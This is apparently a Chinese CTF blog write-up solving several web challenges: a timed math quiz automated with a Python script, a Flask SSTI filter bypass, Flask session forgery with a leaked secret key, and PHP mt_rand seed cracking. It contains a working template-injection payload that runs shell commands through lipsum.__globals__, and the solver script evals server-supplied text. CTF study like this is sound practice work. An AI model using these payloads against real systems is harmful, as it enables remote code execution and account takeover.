[HUBUCTF 2022 新生赛]Calculate
进到主页
翻译
回答以下数学问题20次;你有3秒钟的时间来解决每个问题;
为了保护服务器,你不能在1秒内回答一个问题
您已回答0个问题;
让我们3秒速算,没那个实力,提示说是写脚本,之前从来没写过,趁这次学习一下
NSSCTF | 在线CTF平台
看了这个大佬的思路,很清晰
脚本
import re import time import requests pattern='<div style="display:inline;color:#\w{6}">(.*?)</div>' url="http://node5.anna.nssctf.cn:28750/" sess=requests.session() res=sess.get(url) time.sleep(1) for i in range(30): time.sleep(1) result=re.findall(pattern,res.text) print(result) num='' for i in range(len(result)-1): num+=result[i] print(num) ans=eval(num) res=sess.post(url,data={"ans":ans}) print(res.text) # time.sleep(1)
这段代码使用Python编写,实现了一个循环请求网页并进行简单计算的功能。下面是对代码逐行的解释:
import
语句导入了所需的模块:time
用于控制时间间隔,requests
用于发送HTTP请求,re
用于正则表达式匹配。
url
变量存储了要请求的网页地址。
ses
变量创建了一个会话对象,用于发送HTTP请求。
reg
变量使用正则表达式编译了一个匹配模式。该正则表达式用于提取网页响应中的某个标签内的内容。进入无限循环,通过不断地发送请求、提取标签内容、进行计算的过程,直到得到符合条件的响应为止。
get
变量使用会话对象发送GET请求,并将响应保存到get.text
中。
math
变量使用之前编译的正则表达式匹配模式,从网页响应中提取出需要的内容。
final
变量使用''.join(math)[:-1]
的方式将提取到的内容拼接成字符串,并去掉最后一个字符。
result
变量使用eval(final)
将提取到的内容作为表达式进行求值,并转换为字符串。
time.sleep(1)
暂停1秒,以控制请求的时间间隔。
p
变量使用会话对象发送POST请求,将计算结果作为数据参数传递。检查POST响应中是否包含"NSS"字符串。如果包含,则打印响应内容,并跳出循环。
再次暂停1秒,以控制请求的时间间隔。
得到flag
[NCTF 2018]Flask PLUS
看到了ssti注入
随便找了一个payload,发现被过滤了,到这里其实就可以用bp来fuzz测试
过滤的
__init__
file
__dict__
__builtins__
__import__
getattr
os
看起来GG了,很多方法被ban了之后,几乎无法访问到我们所需要的方法。
这里我们注意到了__enter__
方法,查看其内容,发现也有__globals__
方法可用,而且与__init__
一模一样。
这里摘抄下一段stack overflow的一段话
__init__
(allocation of the class)__enter__
(enter context)__exit__
(leaving context)
因此__enter__
仅仅访问类的内容,但这已经可以达到我们所需要的目的了。
构造payload:
{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}
cat flag
[NSSRound#13 Basic]flask?jwt?
注册admin发现不行,先随便注册一个
有一个拿flag
发现不行,说不是admin
看到提示说是session伪造
看到了session,但是没有key
在忘记密码的页面找到了flask的key
secretkey: th3f1askisfunny
解密session
猜测admin的user_id应该是1
进行session加密
抓包,改session,得到flag
[FSCTF 2023]源码!启动!
f12发现被禁了
ctrl+u看源码
[GWCTF 2019]枯燥的抽奖
看到主页啥也没有,扫一下看看
在js源代码里看到了check.php
源代码
就是伪随机数生成,----伪随机数就是可预测的随机数
PHP mt_srand()函数 - 经验笔记mt_srand()函数
先用这个python脚本将字符转变为 数字 让工具去随机
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='20S7rgtCU9'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
得到的随机数
接下来去获取种子 然后 在 php7.1以上的环境运行
利用 https://github.com/Al1ex/php_mt_seed这个工具
先make一下,让他可以运行
然后通过php_mt_seed这个脚本,破解seed
出来了伪随机数
然后运行脚本
<?php
mt_srand(380973312);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for ($i = 0; $i < $len1; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>" . $str . "</p>";?>
得到flag